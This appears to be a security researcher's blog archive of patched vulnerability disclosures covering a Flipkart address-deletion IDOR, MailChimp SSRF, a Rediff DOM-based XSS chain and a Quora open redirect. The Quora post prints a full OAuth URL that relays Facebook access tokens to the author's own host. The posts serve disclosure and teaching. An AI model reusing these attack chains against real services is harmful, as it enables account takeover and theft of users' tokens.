Thursday, March 27, 2014

Flipkart.com - Elevation of Privilege Vulnerability

 Just wanted to share a privilege escalation vulnerability affecting Flipkart, a top-notch e-commerce website in India having local Alexa Internet ranking of 10.


Let's jump to the background of the issue. Flipkart allows users to save shipping addresses for future usage. As soon as the address is saved, a deletion option along with the saved address, something similar to the one below:


So once the delete option is hit, there would be a POST request sent to the server. The request is like:

                        



There are two parameters going inside the body of POST request - __FK and address_id, __FK is the CSRF protection token used by Flipkart and address_id is a unique identifier for the saved address. So with each and every address saved in Flipkart for different users, address identifiers are saved along with them. So now comes the security issue, if one account tampers, then modifies the address_id of another user and replay the request, then server will delete saved address of another account.


For example, say there are two users - A and B. A has saved a shipping address and has an address identifier ADD123 and user B somehow knows the identifier of A, so now B saves an address in his own account then, goes ahead to the delete option, then tampers the request and changes the address_id parameter to ADD123 then forwards the request to server, server would return a JSON object like below and delete the saved address of user A.



I'm a frequent user of Flipkart and I contacted their Security Team as soon as I confirmed the vulnerability at my end, this has been patched by them completely. Although looks severe but exploitability of this vulnerability was low as the address identifier was unpredictable for an individual user.  

Tuesday, February 18, 2014

SSRF/XSPA in MailChimp

Hey!

It's been a while since I blogged about security bugs here, so let me start off once again.

About two weeks ago I found an OAuth based bug that affected Facebook, which since then got patched by their security team and I got some reward for that. This OAuth bug relied on an endpoint which was connected to MailChimp. So I was testing the OAuth2 implementation on MailChimp as the endpoint used by Facebook was connected to MailChimp, while fiddling around with redirect_uri input area provided by MailChimp I found that the web application tried to connect with the URL provided in redirect_uri. So this was something interesting based on the observations below I was able to confirm that the web application was vulnerable to SSRF/XSPA.

Relying on the scheme http://domain:port I was able to port scan Internet facing servers (eg. scanme.nmap.org) for open/closed ports.

So here's the responses I got:


Open Port (running non-HTTP aware service)

Response:
Unable to read response, or response is empty




Open Port (running HTTP aware service) 

Response:
No response/error




Closed Port

Response: Unable to Connect to tcp://domain:port. Error #101: Network is unreachable 








So observing the above request/response pairs we can conduct port scans and automate everything in a scripting language like Python to build port scanners.

MailChimp has confirmed this issue and pushed a fix for this, I was placed in their "Security Response - Thank You" list.

Tuesday, December 10, 2013

Update on Botconf'13 slides

I and Himanshu Sharma gave a talk on abuse of addons/extensions on Chrome/Firefox browsers on Botconf 2013 Conference, France.

I would like to publicly apologise for forgetting to add appropriate credits to Balázs Zoltán for his previous works on this research.

Through this post I'm publicly acknowledging him and giving credits of his part of research for over my slides.

You may find his slides here

If I missed anyone else please let me know.

Thanks and apologies again to Balázs ! Sorry!

Saturday, June 29, 2013

Triggering an unexploitable DOM-based XSS in Rediff Blogs automagically

I want to share the details behind a DOM-based XSS which I found on Rediff Blogs. At first glance it looks unexploitable as the source of XSS is a cookie, which then lands in an innerHTML sink.So for exploitation we need a cookie to be present on the client which will be read by vulnerable piece of JavaScript code.


The issue was on the "404" page of http://blogs.rediff.com/ , while looking at the client-side source code of that page I found a possible DOM-based XSS vulnerable code, can be seen below



Most of the code is self-explanatory, Rlo is the vulnerable variable which loads a value from cookie (of the same name) and then it is passed into innerHTML sink of a SPAN tag. Rm should also be set to some value not equal to NULL, so that we can trigger this DOM-based XSS, here again we need a cookie to make Rm not equal to NULL.

Now, looks difficult to make it an one click exploit, as we would need the cookie with our vector to be set already and another thing is Rm cookie, which will push Rlo to reach the sink. For exploitation here comes the real trick, we can set a root domain cookie (i.e, .rediff.com) which will be accessible (according to same-origin policy) from all subdomains of rediff.com

To achieve this goal, I found another XSS, this time Flash-based XSS on imworld.rediff.com , vulnerable file was in this case swfupload.swf (See http://seclists.org/fulldisclosure/2012/Nov/121). Achievement unlocked! I can now set cookies for .rediff.com . I quickly wrote a PHP one-liner that redirects the user to the vulnerable Flash-file, with XSS vector set to write the required cookies for .rediff.com . See the PHP source code:


After setting the cookies it will automatically redirect our victim to the vulnerable 404 page, so now with required cookies in place, we can trigger this DOM-based XSS automagically.

Aaaaaand,




I've made a video to make this write-up more meaningful:





These issues have been patched by Rediff Security.


Reference: http://miladbr.blogspot.de/2013/04/exploiting-unexploitable-dom-based-xss.html

Friday, June 14, 2013

Pwning Facebook accounts, taking a little help from Quora

I want to share the details of a redirection flaw, which I found on Quora, an extremely popular Q/A website, possessing Alexa rank of around 800 worldwide and how someone can exploit the issue to hack Facebook accounts.


So, let's come to the topic. While doing sign-up for Quora website, I preferred using Facebook Connect which gives "limited" access to my account to Quora, so that website can fetch necessary details from my Facebook account for registration. I noticed www.quora.com was permitted to receive the access_token from Facebook OAuth, any other domain other than www.quora.com would result in a failure of that request. See below





Cool, I needed to find an open redirection inside the www.quora.com to steal the access_token of any Quora user who signed-up using Facebook and has App enabled.

Luckily I found a redirection issue in the contacts import page itself. The redirector was like:

https://www.quora.com/contacts/skip?goto=http://www.google.com


So this link would redirect to http://www.google.com, accordingly I can redirect users to any domain of my choice.

Now I made a script that would save the token from URL into a file and redirect [unsuspecting] user to Facebook homepage. It was located at http://poc.prakharprasad.com/quora 


To make it a working exploit I needed these:

1. A Facebook OAuth authorization URL requests token permission from the user, but as user will have Quora App installed, it will redirect to value specified in next parameter of OAuth authorization URL with a valid access_token.

2. As discussed we know next can be any page/resource under www.quora.com. So next parameter must be set to https://www.quora.com/contacts/skip?goto=http://poc.prakharprasad.com/quora ,when redirection happens the token is first sent to (allowed domain) www.quora.com then another redirection [open redirection] moves the token to http://poc.prakharprasad.com/quora where my script will do its job.

Final OAuth authorization URL that would steal the access_token looks like

https://www.facebook.com/dialog/permissions.request?app_id=136609459636&next=https://www.quora.com/contacts/skip?goto=http://poc.prakharprasad.com/quora&response_type=token

Once the vicitm who has Quora App installed (or in other words, signed-up via Facebook) visits the above link, his token would get stored and he'll be redirected back to Facebook, as if nothing has happened.

Using the stolen access_token I can, for example publish a status on victim's profile.




Quora App has 500,000+ monthly users on Facebook.So, all of them were at risk!





As usual, here's the video demo :




Timeline:

8th June 2013 - Vulnerability Found
9th June 2013 - Vulnerability Reported
13th June 2013 - No Reply from Quora
13th June 2013 - Another notification sent to Quora staff member, got a reply acknowledging the issue
14th June 2013- Fix deployed on Quora, public disclosure